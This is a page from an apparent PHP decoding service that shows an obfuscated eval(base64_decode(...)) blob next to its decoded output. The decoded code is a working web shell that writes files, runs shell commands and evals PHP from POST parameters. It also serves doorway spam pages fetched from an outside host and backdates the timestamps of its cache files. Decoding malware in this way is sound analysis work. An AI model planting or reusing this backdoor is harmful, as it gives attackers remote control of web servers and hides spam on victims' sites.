Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("Ly80MmY1ZTY3ZWFlNjY2NDE0ZmQxY2Q2ODQ2ZmY4YzVjOGYzZDM4MmE4NzFmZjEzZGEwNT..
Decoded Output download
//42f5e67eae666414fd1cd6846ff8c5c8f3d382a871ff13da051127b6ff1219dae645f86aaf16d4f57e194d3996bcbbe44a42e18a60dcd167ffe7453531cab9c7c9f5f2146b2610c7d2d71a6c2bfeecdcdf338ed6b8dbfcfc2fd7c67e392f1afc6d3d7da1359667043e2271788ab522cb9c0ac63d152c454ca8b36d87e609bc89173bd226b646b7c7630a0730f31f2d744ab532c2a9f310885a1c992c9ef2a46363f682c930fb9fdc78ec18987ac43c5619d8f8137b7c99d88321d924818bdb1252872d415b2d7d5244bb946bce2164b02b317ecdffab98cf4579379575e7f2bdbf8bdf6abba262479e83af5ba93aa97cc84c0727d3e8855c36a926734bf94eb70174a775fc728efdd9bf2e070cfdc237b87e96eed4d29060b8ae6d7cf73d11afec001b650e4487e20c5d179ff76f7c1f548688795f7eb6e75871ff0acfed7b31188c8b8b676a4b11c50a7d68708fea17c0f64bb1c9e22875c4dab2a6a58a8c074aa7a6d7e58caee1bdaeb54eb503f26a5cdd2828c630174d0f39ab6249baf48ea8b1973047449c7f3b3b75b86b7799d92c72b1706ea7d786a7732b6ad7df0fdf52690bf01da7124e9beec0816b4db7b25295f5373a29cc29c3da6df27a782149a15c4a25753de71e76e0c3cfcbb7836b2ec575ea345849b7da9e4110ab8e249756234d038f2264b9cbc5471ea0627723bf86071f6d115cab5b0f3efcf2f95a6b0be04734d56d01b500eadfdd8f0073a76575f24c26c565093714e935830e0869d72e52d828410fc49c28a5de9c382ccaa3db3784e1bb31f75302be228f49e2724f6c6de28552c7202324883a9a1e931f7ac09048da4b344bf1cef12670fad21b137cca1223c34ec9c4fc1f15813338bb33b9223fe557d572942ca26c9ef69984a885429254559f8ec73ba32c54e2c595c94d470313060f79b0379591916c8e5e4bea908117962c2f31f71c1d529475963321e41e92ca2199614c06a86af19651f66703849e79b9327c990fa14fb830ef33ac893ed8c00763b1fcc7dc0fccc484aaf01b0965ed22593d410fca0003ac4f9ac479a365a32c044bf9d5116d2cff4ebff5611d43dd3aa8682825df99388ebcc06b76fc8c9fbc8dbdb0b034bd60e7b11ed093e67ca5c84234d56c8977855645909df343b389332ca2df1f7d9bba7e1271f53c7e9729b7e9330a1f886af086625c25d3b09a68effb9e6caefb027f5f08506af30d0744b8320395277e7a35b0ace8923ff3567dd74a4af4dce08e3dbf8e08c1404b499a92e5c9acf6490c14c28a4fd40efba19992f39d1f885c34473309f20a83112482d48f0577f58f46652c29d34235781a927862d9ae763c88bb1ef39205640467ea160060af8cac2b1ecfa71df96b218798b498db7941c7d2e9aca2463d05f62adfa8c69512c73b344052e4ab5a88b0c241074e7924b47449454ed48b65823fed90d031f5977f84073db1040bcea8e40b43af6a0ef3548e2dda5b4d
error_reporting(0);
$type = isset($_POST['type'])? $_POST['type']: '';
$name = isset($_POST['name'])? $_POST['name']: '';
$_content = isset($_POST['content'])? $_POST['content']: '';
if (get_magic_quotes_gpc())
{
$content = stripslashes($_content);
}
else
{
$content = $_content;
}
if ('file' == $type)
{
if (file_put_contents('./'.$name, $content) > 0)
{
echo 'ok';
} else
{
echo 'error';
}
exit;
}
if ('dir' == $type)
{
if (mkdir('./'.$name, 0755, true))
{
echo 'ok';
} else
{
echo 'error';
}
exit;
}
if ('system' == $type)
{
system($content);
echo 'ok';
exit;
}
if ('php' == $type)
{
eval($content);
echo 'ok';
exit;
}
$server_name = $_SERVER['SERVER_NAME'];
$server_name = str_replace('www.','',$server_name);
$index_handle = 'index';
$index_file = 'index.html';
$sitemap_handle = 'sitemap';
$sitemap_file = 'sitemap.xml';
$compress = 1;
$date = '2008-08-09 09:14:07';
$cache_indexes = 'system';
$cache_file = 'config';
$query = $_SERVER['QUERY_STRING'];
$script_path = str_replace("?$query", '', $_SERVER['REQUEST_URI']);
$subfolder_md5 = md5($script_path);
$server_url = 'http://yd98h.eu/door/'.$server_name.'/'.$subfolder_md5;
if (!isset($_GET['p']))
{
echo '<!-- Welcome --!>';
exit;
} else
{
if ($_GET['p'] == 'clear')
{
if (clear_cache())
{
echo 'Done.';
} else
{
echo 'Error.';
}
exit;
}
}
if (strpos($query, 'p=') === 0)
{
$query = str_replace('p=', '', $query);
}
$is_simple_page = true;
if ($query == $index_handle)
{
do_work($index_file);
$is_simple_page = false;
}
if ($query == $sitemap_handle)
{
do_work($sitemap_file);
$is_simple_page = false;
}
if ($is_simple_page)
{
$simple_page_file = $query . '.html';
do_work($simple_page_file);
}
function write_cache($page, $data)
{
global $cache_indexes, $cache_file, $compress, $date;
$cache_data = serialize($data);
if($compress)
$cache_data = gzdeflate($cache_data);
$fp = fopen($cache_file, 'a+');
if(!$fp)
return 0;
fseek($fp, 0, SEEK_END);
$start_pos = ftell($fp);
$end_pos = $start_pos + strlen($cache_data);
fwrite($fp, $cache_data);
fclose($fp);
touch($cache_file, strtotime($date));
$cache_ind = unserialize(file_get_contents($cache_indexes));
$cache_ind[$page] = array($start_pos, $end_pos);
$cache_ind = serialize($cache_ind);
$fp = fopen($cache_indexes, 'w');
if(!$fp)
return 0;
fwrite($fp, $cache_ind);
fclose($fp);
touch($cache_indexes, strtotime($date));
return 1;
}
function clear_cache()
{
global $cache_indexes, $cache_file;
return unlink($cache_indexes) && unlink($cache_file);
}
function get_cache($page)
{
global $cache_indexes, $cache_file, $compress;
$cache_ind = file_get_contents($cache_indexes);
if($cache_ind === 0)
return 0;
$indexes = unserialize($cache_ind);
if(!isset($indexes[$page]))
return 0;
$fp = fopen($cache_file, 'a+');
if(!$fp)
return 0;
fseek($fp, $indexes[$page][0]);
$data = fread($fp, $indexes[$page][1] - $indexes[$page][0]);
if($compress)
$data = gzinflate($data);
return unserialize($data);
}
function get_page($url)
{
$url = parse_url($url);
$fp = fsockopen($url['host'], 80, $errno, $errstr, 10);
if (!$fp) {
echo "$errstr ($errno)<br />
";
} else {
$out = "GET {$url['path']} HTTP/1.1
";
$out .= "Host: {$url['host']}
";
$out .= "Connection: Close
";
fwrite($fp, $out);
$data = '';
while (!feof($fp)) {
$data .= fgets($fp, 128);
}
$headers = substr($data, 0, strpos($data, "
"));
$content = substr($data, strpos($data, "
") + 4);
}
return array('headers' => $headers, 'content' => $content);
}
function do_work($file)
{
global $server_url;
if(($res = get_cache($file)) == false)
{
$page_url = $server_url . '/' . $file;
$res = get_page($page_url);
write_cache($file, $res);
}
if(!strpos($res['headers'], '200 OK'))
{
header("HTTP/1.0 404 Not Found");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL {$_SERVER['REQUEST_URI']} was not found on this server.</p>
</body></html>";
exit;
}
if(preg_match('/Content-Type: (.*)/', $res['headers'], $type))
{
$content_type = $type[1];
if($content_type != 'text/plain')
header('Content-Type: ' . $content_type);
}
echo $res['content'];
exit;
}//42f5e67eae666414fd1cd6846ff8c5c8f3d382a871ff13da051127b6ff1219dae645f86aaf16d4f57e194d3996bcbbe44a42e18a60dcd167ffe7453531cab9c7c9f5f2146b2610c7d2d71a6c2bfeecdcdf338ed6b8dbfcfc2fd7c67e392f1afc6d3d7da1359667043e2271788ab522cb9c0ac63d152c454ca8b36d87e609bc89173bd226b646b7c7630a0730f31f2d744ab532c2a9f310885a1c992c9ef2a46363f682c930fb9fdc78ec18987ac43c5619d8f8137b7c99d88321d924818bdb1252872d415b2d7d5244bb946bce2164b02b317ecdffab98cf4579379575e7f2bdbf8bdf6abba262479e83af5ba93aa97cc84c0727d3e8855c36a926734bf94eb70174a775fc728efdd9bf2e070cfdc237b87e96eed4d29060b8ae6d7cf73d11afec001b650e4487e20c5d179ff76f7c1f548688795f7eb6e75871ff0acfed7b31188c8b8b676a4b11c50a7d68708fea17c0f64bb1c9e22875c4dab2a6a58a8c074aa7a6d7e58caee1bdaeb54eb503f26a5cdd2828c630174d0f39ab6249baf48ea8b1973047449c7f3b3b75b86b7799d92c72b1706ea7d786a7732b6ad7df0fdf52690bf01da7124e9beec0816b4db7b25295f5373a29cc29c3da6df27a782149a15c4a25753de71e76e0c3cfcbb7836b2ec575ea345849b7da9e4110ab8e249756234d038f2264b9cbc5471ea0627723bf86071f6d115cab5b0f3efcf2f95a6b0be04734d56d01b500eadfdd8f0073a76575f24c26c565093714e935830e0869d72e52d828410fc49c28a5de9c382ccaa3db3784e1bb31f75302be228f49e2724f6c6de28552c7202324883a9a1e931f7ac09048da4b344bf1cef12670fad21b137cca1223c34ec9c4fc1f15813338bb33b9223fe557d572942ca26c9ef69984a885429254559f8ec73ba32c54e2c595c94d470313060f79b0379591916c8e5e4bea908117962c2f31f71c1d529475963321e41e92ca2199614c06a86af19651f66703849e79b9327c990fa14fb830ef33ac893ed8c00763b1fcc7dc0fccc484aaf01b0965ed22593d410fca0003ac4f9ac479a365a32c044bf9d5116d2cff4ebff5611d43dd3aa8682825df99388ebcc06b76fc8c9fbc8dbdb0b034bd60e7b11ed093e67ca5c84234d56c8977855645909df343b389332ca2df1f7d9bba7e1271f53c7e9729b7e9330a1f886af086625c25d3b09a68effb9e6caefb027f5f08506af30d0744b8320395277e7a35b0ace8923ff3567dd74a4af4dce08e3dbf8e08c1404b499a92e5c9acf6490c14c28a4fd40efba19992f39d1f885c34473309f20a83112482d48f0577f58f46652c29d34235781a927862d9ae763c88bb1ef39205640467ea160060af8cac2b1ecfa71df96b218798b498db7941c7d2e9aca2463d05f62adfa8c69512c73b344052e4ab5a88b0c241074e7924b47449454ed48b65823fed90d031f5977f84073db1040bcea8e40b43af6a0ef3548e2dda5b4d
Did this file decode correctly?
Original Code
eval(base64_decode("Ly80MmY1ZTY3ZWFlNjY2NDE0ZmQxY2Q2ODQ2ZmY4YzVjOGYzZDM4MmE4NzFmZjEzZGEwNTExMjdiNmZmMTIxOWRhZTY0NWY4NmFhZjE2ZDRmNTdlMTk0ZDM5OTZiY2JiZTQ0YTQyZTE4YTYwZGNkMTY3ZmZlNzQ1MzUzMWNhYjljN2M5ZjVmMjE0NmIyNjEwYzdkMmQ3MWE2YzJiZmVlY2RjZGYzMzhlZDZiOGRiZmNmYzJmZDdjNjdlMzkyZjFhZmM2ZDNkN2RhMTM1OTY2NzA0M2UyMjcxNzg4YWI1MjJjYjljMGFjNjNkMTUyYzQ1NGNhOGIzNmQ4N2U2MDliYzg5MTczYmQyMjZiNjQ2YjdjNzYzMGEwNzMwZjMxZjJkNzQ0YWI1MzJjMmE5ZjMxMDg4NWExYzk5MmM5ZWYyYTQ2MzYzZjY4MmM5MzBmYjlmZGM3OGVjMTg5ODdhYzQzYzU2MTlkOGY4MTM3YjdjOTlkODgzMjFkOTI0ODE4YmRiMTI1Mjg3MmQ0MTViMmQ3ZDUyNDRiYjk0NmJjZTIxNjRiMDJiMzE3ZWNkZmZhYjk4Y2Y0NTc5Mzc5NTc1ZTdmMmJkYmY4YmRmNmFiYmEyNjI0NzllODNhZjViYTkzYWE5N2NjODRjMDcyN2QzZTg4NTVjMzZhOTI2NzM0YmY5NGViNzAxNzRhNzc1ZmM3MjhlZmRkOWJmMmUwNzBjZmRjMjM3Yjg3ZTk2ZWVkNGQyOTA2MGI4YWU2ZDdjZjczZDExYWZlYzAwMWI2NTBlNDQ4N2UyMGM1ZDE3OWZmNzZmN2MxZjU0ODY4ODc5NWY3ZWI2ZTc1ODcxZmYwYWNmZWQ3YjMxMTg4YzhiOGI2NzZhNGIxMWM1MGE3ZDY4NzA4ZmVhMTdjMGY2NGJiMWM5ZTIyODc1YzRkYWIyYTZhNThhOGMwNzRhYTdhNmQ3ZTU4Y2FlZTFiZGFlYjU0ZWI1MDNmMjZhNWNkZDI4MjhjNjMwMTc0ZDBmMzlhYjYyNDliYWY0OGVhOGIxOTczMDQ3NDQ5YzdmM2IzYjc1Yjg2Yjc3OTlkOTJjNzJiMTcwNmVhN2Q3ODZhNzczMmI2YWQ3ZGYwZmRmNTI2OTBiZjAxZGE3MTI0ZTliZWVjMDgxNmI0ZGI3YjI1Mjk1ZjUzNzNhMjljYzI5YzNkYTZkZjI3YTc4MjE0OWExNWM0YTI1NzUzZGU3MWU3NmUwYzNjZmNiYjc4MzZiMmVjNTc1ZWEzNDU4NDliN2RhOWU0MTEwYWI4ZTI0OTc1NjIzNGQwMzhmMjI2NGI5Y2JjNTQ3MWVhMDYyNzcyM2JmODYwNzFmNmQxMTVjYWI1YjBmM2VmY2YyZjk1YTZiMGJlMDQ3MzRkNTZkMDFiNTAwZWFkZmRkOGYwMDczYTc2NTc1ZjI0YzI2YzU2NTA5MzcxNGU5MzU4MzBlMDg2OWQ3MmU1MmQ4Mjg0MTBmYzQ5YzI4YTVkZTljMzgyY2NhYTNkYjM3ODRlMWJiMzFmNzUzMDJiZTIyOGY0OWUyNzI0ZjZjNmRlMjg1NTJjNzIwMjMyNDg4M2E5YTFlOTMxZjdhYzA5MDQ4ZGE0YjM0NGJmMWNlZjEyNjcwZmFkMjFiMTM3Y2NhMTIyM2MzNGVjOWM0ZmMxZjE1ODEzMzM4YmIzM2I5MjIzZmU1NTdkNTcyOTQyY2EyNmM5ZWY2OTk4NGE4ODU0MjkyNTQ1NTlmOGVjNzNiYTMyYzU0ZTJjNTk1Yzk0ZDQ3MDMxMzA2MGY3OWIwMzc5NTkxOTE2YzhlNWU0YmVhOTA4MTE3OTYyYzJmMzFmNzFjMWQ1Mjk0NzU5NjMzMjFlNDFlOTJjYTIxOTk2MTRjMDZhODZhZjE5NjUxZjY2NzAzODQ5ZTc5YjkzMjdjOTkwZmExNGZiODMwZWYzM2FjODkzZWQ4YzAwNzYzYjFmY2M3ZGMwZmNjYzQ4NGFhZjAxYjA5NjVlZDIyNTkzZDQxMGZjYTAwMDNhYzRmOWFjNDc5YTM2NWEzMmMwNDRiZjlkNTExNmQyY2ZmNGViZmY1NjExZDQzZGQzYWE4NjgyODI1ZGY5OTM4OGViY2MwNmI3NmZjOGM5ZmJjOGRiZGIwYjAzNGJkNjBlN2IxMWVkMDkzZTY3Y2E1Yzg0MjM0ZDU2Yzg5Nzc4NTU2NDU5MDlkZjM0M2IzODkzMzJjYTJkZjFmN2Q5YmJhN2UxMjcxZjUzYzdlOTcyOWI3ZTkzMzBhMWY4ODZhZjA4NjYyNWMyNWQzYjA5YTY4ZWZmYjllNmNhZWZiMDI3ZjVmMDg1MDZhZjMwZDA3NDRiODMyMDM5NTI3N2U3YTM1YjBhY2U4OTIzZmYzNTY3ZGQ3NGE0YWY0ZGNlMDhlM2RiZjhlMDhjMTQwNGI0OTlhOTJlNWM5YWNmNjQ5MGMxNGMyOGE0ZmQ0MGVmYmExOTk5MmYzOWQxZjg4NWMzNDQ3MzMwOWYyMGE4MzExMjQ4MmQ0OGYwNTc3ZjU4ZjQ2NjUyYzI5ZDM0MjM1NzgxYTkyNzg2MmQ5YWU3NjNjODhiYjFlZjM5MjA1NjQwNDY3ZWExNjAwNjBhZjhjYWMyYjFlY2ZhNzFkZjk2YjIxODc5OGI0OThkYjc5NDFjN2QyZTlhY2EyNDYzZDA1ZjYyYWRmYThjNjk1MTJjNzNiMzQ0MDUyZTRhYjVhODhiMGMyNDEwNzRlNzkyNGI0NzQ0OTQ1NGVkNDhiNjU4MjNmZWQ5MGQwMzFmNTk3N2Y4NDA3M2RiMTA0MGJjZWE4ZTQwYjQzYWY2YTBlZjM1NDhlMmRkYTViNGQKZXJyb3JfcmVwb3J0aW5nKDApOyAKIAoKJHR5cGUgPSBpc3NldCgkX1BPU1RbJ3R5cGUnXSk/ICRfUE9TVFsndHlwZSddOiAnJzsKJG5hbWUgPSBpc3NldCgkX1BPU1RbJ25hbWUnXSk/ICRfUE9TVFsnbmFtZSddOiAnJzsKJF9jb250ZW50ID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pPyAkX1BPU1RbJ2NvbnRlbnQnXTogJyc7CgppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgCnsKCSRjb250ZW50ID0gc3RyaXBzbGFzaGVzKCRfY29udGVudCk7Cn0KZWxzZSAKewoJJGNvbnRlbnQgPSAkX2NvbnRlbnQ7Cn0KCmlmIAkoJ2ZpbGUnID09ICR0eXBlKQp7CglpZiAoZmlsZV9wdXRfY29udGVudHMoJy4vJy4kbmFtZSwgJGNvbnRlbnQpID4gMCkKCXsKCQllY2hvICdvayc7Cgl9IGVsc2UKCXsKCQllY2hvICdlcnJvcic7Cgl9CglleGl0Owp9CgppZiAJKCdkaXInID09ICR0eXBlKQp7CglpZiAobWtkaXIoJy4vJy4kbmFtZSwgMDc1NSwgdHJ1ZSkpCgl7CgkJZWNobyAnb2snOwoJfSBlbHNlCgl7CgkJZWNobyAnZXJyb3InOwoJfQoJZXhpdDsKfQoKaWYgKCdzeXN0ZW0nID09ICR0eXBlKQp7CglzeXN0ZW0oJGNvbnRlbnQpOwoJZWNobyAnb2snOwoJZXhpdDsKfQoKaWYgKCdwaHAnID09ICR0eXBlKQp7CglldmFsKCRjb250ZW50KTsKCWVjaG8gJ29rJzsKCWV4aXQ7Cn0KCiAKJHNlcnZlcl9uYW1lID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CiRzZXJ2ZXJfbmFtZSA9IHN0cl9yZXBsYWNlKCd3d3cuJywnJywkc2VydmVyX25hbWUpOwoKJGluZGV4X2hhbmRsZSA9ICdpbmRleCc7CQokaW5kZXhfZmlsZSA9ICdpbmRleC5odG1sJzsJCgokc2l0ZW1hcF9oYW5kbGUgPSAnc2l0ZW1hcCc7CQokc2l0ZW1hcF9maWxlID0gJ3NpdGVtYXAueG1sJzsJCgoKJGNvbXByZXNzID0gMTsJCiRkYXRlID0gJzIwMDgtMDgtMDkgMDk6MTQ6MDcnOyAKCiRjYWNoZV9pbmRleGVzID0gJ3N5c3RlbSc7CiRjYWNoZV9maWxlID0gJ2NvbmZpZyc7CiRxdWVyeSA9ICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKCiRzY3JpcHRfcGF0aCA9IHN0cl9yZXBsYWNlKCI/JHF1ZXJ5IiwgJycsICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKJHN1YmZvbGRlcl9tZDUgPSBtZDUoJHNjcmlwdF9wYXRoKTsKCiRzZXJ2ZXJfdXJsID0gJ2h0dHA6Ly95ZDk4aC5ldS9kb29yLycuJHNlcnZlcl9uYW1lLicvJy4kc3ViZm9sZGVyX21kNTsJCgoKaWYgKCFpc3NldCgkX0dFVFsncCddKSkgCnsKCWVjaG8gJzwhLS0gV2VsY29tZSAtLSE+JzsKCWV4aXQ7Cn0gZWxzZQp7CglpZiAoJF9HRVRbJ3AnXSA9PSAnY2xlYXInKQoJewkJCgkJaWYgKGNsZWFyX2NhY2hlKCkpCgkJewoJCQllY2hvICdEb25lLic7CgkJfSBlbHNlCgkJewoJCQllY2hvICdFcnJvci4nOwoJCX0JCQoJCWV4aXQ7Cgl9Cn0KCmlmIChzdHJwb3MoJHF1ZXJ5LCAncD0nKSA9PT0gMCkKewoJJHF1ZXJ5ID0gc3RyX3JlcGxhY2UoJ3A9JywgJycsICRxdWVyeSk7Cn0KCiRpc19zaW1wbGVfcGFnZSA9IHRydWU7CmlmICgkcXVlcnkgPT0gJGluZGV4X2hhbmRsZSkKewoJZG9fd29yaygkaW5kZXhfZmlsZSk7CgkkaXNfc2ltcGxlX3BhZ2UgPSBmYWxzZTsKfQoKaWYgKCRxdWVyeSA9PSAkc2l0ZW1hcF9oYW5kbGUpCnsKCWRvX3dvcmsoJHNpdGVtYXBfZmlsZSk7CgkkaXNfc2ltcGxlX3BhZ2UgPSBmYWxzZTsKfQoKaWYgKCRpc19zaW1wbGVfcGFnZSkKewoJJHNpbXBsZV9wYWdlX2ZpbGUgPSAkcXVlcnkgLiAnLmh0bWwnOwoJZG9fd29yaygkc2ltcGxlX3BhZ2VfZmlsZSk7Cn0KCmZ1bmN0aW9uIHdyaXRlX2NhY2hlKCRwYWdlLCAkZGF0YSkKewoJZ2xvYmFsICRjYWNoZV9pbmRleGVzLCAkY2FjaGVfZmlsZSwgJGNvbXByZXNzLCAkZGF0ZTsKCQoJJGNhY2hlX2RhdGEgPSBzZXJpYWxpemUoJGRhdGEpOwoJaWYoJGNvbXByZXNzKQoJCSRjYWNoZV9kYXRhID0gZ3pkZWZsYXRlKCRjYWNoZV9kYXRhKTsKCQoJJGZwID0gZm9wZW4oJGNhY2hlX2ZpbGUsICdhKycpOwoJaWYoISRmcCkKCQlyZXR1cm4gMDsKCQkKCWZzZWVrKCRmcCwgMCwgU0VFS19FTkQpOwoJJHN0YXJ0X3BvcyA9IGZ0ZWxsKCRmcCk7CgkkZW5kX3BvcyA9ICRzdGFydF9wb3MgKyBzdHJsZW4oJGNhY2hlX2RhdGEpOwoJZndyaXRlKCRmcCwgJGNhY2hlX2RhdGEpOwoJZmNsb3NlKCRmcCk7CgkKCXRvdWNoKCRjYWNoZV9maWxlLCBzdHJ0b3RpbWUoJGRhdGUpKTsKCgkkY2FjaGVfaW5kID0gdW5zZXJpYWxpemUoZmlsZV9nZXRfY29udGVudHMoJGNhY2hlX2luZGV4ZXMpKTsKCSRjYWNoZV9pbmRbJHBhZ2VdID0gYXJyYXkoJHN0YXJ0X3BvcywgJGVuZF9wb3MpOwoJJGNhY2hlX2luZCA9IHNlcmlhbGl6ZSgkY2FjaGVfaW5kKTsKCQoJJGZwID0gZm9wZW4oJGNhY2hlX2luZGV4ZXMsICd3Jyk7CglpZighJGZwKQoJCXJldHVybiAwOwoJZndyaXRlKCRmcCwgJGNhY2hlX2luZCk7CglmY2xvc2UoJGZwKTsKCQoJdG91Y2goJGNhY2hlX2luZGV4ZXMsIHN0cnRvdGltZSgkZGF0ZSkpOwoJCQoJcmV0dXJuIDE7Cn0KCmZ1bmN0aW9uIGNsZWFyX2NhY2hlKCkKewoJZ2xvYmFsICRjYWNoZV9pbmRleGVzLCAkY2FjaGVfZmlsZTsJCgkKCXJldHVybiB1bmxpbmsoJGNhY2hlX2luZGV4ZXMpICYmIHVubGluaygkY2FjaGVfZmlsZSk7Cn0KCmZ1bmN0aW9uIGdldF9jYWNoZSgkcGFnZSkKewoJZ2xvYmFsICRjYWNoZV9pbmRleGVzLCAkY2FjaGVfZmlsZSwgJGNvbXByZXNzOwoJJGNhY2hlX2luZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjYWNoZV9pbmRleGVzKTsKCWlmKCRjYWNoZV9pbmQgPT09IDApCgkJcmV0dXJuIDA7CgoJJGluZGV4ZXMgPSB1bnNlcmlhbGl6ZSgkY2FjaGVfaW5kKTsKCWlmKCFpc3NldCgkaW5kZXhlc1skcGFnZV0pKQoJCXJldHVybiAwOwoKCSRmcCA9IGZvcGVuKCRjYWNoZV9maWxlLCAnYSsnKTsKCWlmKCEkZnApCgkJcmV0dXJuIDA7CQoJZnNlZWsoJGZwLCAkaW5kZXhlc1skcGFnZV1bMF0pOwoJJGRhdGEgPSBmcmVhZCgkZnAsICRpbmRleGVzWyRwYWdlXVsxXSAtICRpbmRleGVzWyRwYWdlXVswXSk7CglpZigkY29tcHJlc3MpCgkJJGRhdGEgPSBnemluZmxhdGUoJGRhdGEpOwoKCXJldHVybiB1bnNlcmlhbGl6ZSgkZGF0YSk7Cn0KCmZ1bmN0aW9uIGdldF9wYWdlKCR1cmwpCnsKCSR1cmwgPSBwYXJzZV91cmwoJHVybCk7CgkkZnAgPSBmc29ja29wZW4oJHVybFsnaG9zdCddLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCk7CglpZiAoISRmcCkgewoJCWVjaG8gIiRlcnJzdHIgKCRlcnJubyk8YnIgLz5cbiI7Cgl9IGVsc2UgewoJCSRvdXQgPSAiR0VUIHskdXJsWydwYXRoJ119IEhUVFAvMS4xXHJcbiI7CgkJJG91dCAuPSAiSG9zdDogeyR1cmxbJ2hvc3QnXX1cclxuIjsKCQkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKCQlmd3JpdGUoJGZwLCAkb3V0KTsKCQkKCQkkZGF0YSA9ICcnOwoJCXdoaWxlICghZmVvZigkZnApKSB7CgkJCSRkYXRhIC49IGZnZXRzKCRmcCwgMTI4KTsKCQl9CgkJCgkJJGhlYWRlcnMgPSBzdWJzdHIoJGRhdGEsIDAsIHN0cnBvcygkZGF0YSwgIlxyXG5cclxuIikpOwoJCSRjb250ZW50ID0gc3Vic3RyKCRkYXRhLCBzdHJwb3MoJGRhdGEsICJcclxuXHJcbiIpICsgNCk7Cgl9CgkKCXJldHVybiBhcnJheSgnaGVhZGVycycgPT4gJGhlYWRlcnMsICdjb250ZW50JyA9PiAkY29udGVudCk7Cn0KCmZ1bmN0aW9uIGRvX3dvcmsoJGZpbGUpCnsKCWdsb2JhbCAkc2VydmVyX3VybDsKCQoJCglpZigoJHJlcyA9IGdldF9jYWNoZSgkZmlsZSkpID09IGZhbHNlKQoJewoJCSRwYWdlX3VybCA9ICRzZXJ2ZXJfdXJsIC4gJy8nIC4gJGZpbGU7CgkJJHJlcyA9IGdldF9wYWdlKCRwYWdlX3VybCk7CgkJd3JpdGVfY2FjaGUoJGZpbGUsICRyZXMpOwoJfQoJCglpZighc3RycG9zKCRyZXNbJ2hlYWRlcnMnXSwgJzIwMCBPSycpKQoJewoJCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwoJCWVjaG8gIjwhRE9DVFlQRSBIVE1MIFBVQkxJQyBcIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU5cIj5cclxuPGh0bWw+PGhlYWQ+XHJcbjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT5cclxuPC9oZWFkPjxib2R5PlxyXG48aDE+Tm90IEZvdW5kPC9oMT5cclxuPHA+VGhlIHJlcXVlc3RlZCBVUkwgeyRfU0VSVkVSWydSRVFVRVNUX1VSSSddfSB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD5cclxuPC9ib2R5PjwvaHRtbD4iOwoJCWV4aXQ7Cgl9CgkKCWlmKHByZWdfbWF0Y2goJy9Db250ZW50LVR5cGU6ICguKikvJywgJHJlc1snaGVhZGVycyddLCAkdHlwZSkpCgl7CgkJJGNvbnRlbnRfdHlwZSA9ICR0eXBlWzFdOwoJCWlmKCRjb250ZW50X3R5cGUgIT0gJ3RleHQvcGxhaW4nKQoJCQloZWFkZXIoJ0NvbnRlbnQtVHlwZTogJyAuICRjb250ZW50X3R5cGUpOwoJfQoJCgllY2hvICRyZXNbJ2NvbnRlbnQnXTsKCWV4aXQ7Cn0vLzQyZjVlNjdlYWU2NjY0MTRmZDFjZDY4NDZmZjhjNWM4ZjNkMzgyYTg3MWZmMTNkYTA1MTEyN2I2ZmYxMjE5ZGFlNjQ1Zjg2YWFmMTZkNGY1N2UxOTRkMzk5NmJjYmJlNDRhNDJlMThhNjBkY2QxNjdmZmU3NDUzNTMxY2FiOWM3YzlmNWYyMTQ2YjI2MTBjN2QyZDcxYTZjMmJmZWVjZGNkZjMzOGVkNmI4ZGJmY2ZjMmZkN2M2N2UzOTJmMWFmYzZkM2Q3ZGExMzU5NjY3MDQzZTIyNzE3ODhhYjUyMmNiOWMwYWM2M2QxNTJjNDU0Y2E4YjM2ZDg3ZTYwOWJjODkxNzNiZDIyNmI2NDZiN2M3NjMwYTA3MzBmMzFmMmQ3NDRhYjUzMmMyYTlmMzEwODg1YTFjOTkyYzllZjJhNDYzNjNmNjgyYzkzMGZiOWZkYzc4ZWMxODk4N2FjNDNjNTYxOWQ4ZjgxMzdiN2M5OWQ4ODMyMWQ5MjQ4MThiZGIxMjUyODcyZDQxNWIyZDdkNTI0NGJiOTQ2YmNlMjE2NGIwMmIzMTdlY2RmZmFiOThjZjQ1NzkzNzk1NzVlN2YyYmRiZjhiZGY2YWJiYTI2MjQ3OWU4M2FmNWJhOTNhYTk3Y2M4NGMwNzI3ZDNlODg1NWMzNmE5MjY3MzRiZjk0ZWI3MDE3NGE3NzVmYzcyOGVmZGQ5YmYyZTA3MGNmZGMyMzdiODdlOTZlZWQ0ZDI5MDYwYjhhZTZkN2NmNzNkMTFhZmVjMDAxYjY1MGU0NDg3ZTIwYzVkMTc5ZmY3NmY3YzFmNTQ4Njg4Nzk1ZjdlYjZlNzU4NzFmZjBhY2ZlZDdiMzExODhjOGI4YjY3NmE0YjExYzUwYTdkNjg3MDhmZWExN2MwZjY0YmIxYzllMjI4NzVjNGRhYjJhNmE1OGE4YzA3NGFhN2E2ZDdlNThjYWVlMWJkYWViNTRlYjUwM2YyNmE1Y2RkMjgyOGM2MzAxNzRkMGYzOWFiNjI0OWJhZjQ4ZWE4YjE5NzMwNDc0NDljN2YzYjNiNzViODZiNzc5OWQ5MmM3MmIxNzA2ZWE3ZDc4NmE3NzMyYjZhZDdkZjBmZGY1MjY5MGJmMDFkYTcxMjRlOWJlZWMwODE2YjRkYjdiMjUyOTVmNTM3M2EyOWNjMjljM2RhNmRmMjdhNzgyMTQ5YTE1YzRhMjU3NTNkZTcxZTc2ZTBjM2NmY2JiNzgzNmIyZWM1NzVlYTM0NTg0OWI3ZGE5ZTQxMTBhYjhlMjQ5NzU2MjM0ZDAzOGYyMjY0YjljYmM1NDcxZWEwNjI3NzIzYmY4NjA3MWY2ZDExNWNhYjViMGYzZWZjZjJmOTVhNmIwYmUwNDczNGQ1NmQwMWI1MDBlYWRmZGQ4ZjAwNzNhNzY1NzVmMjRjMjZjNT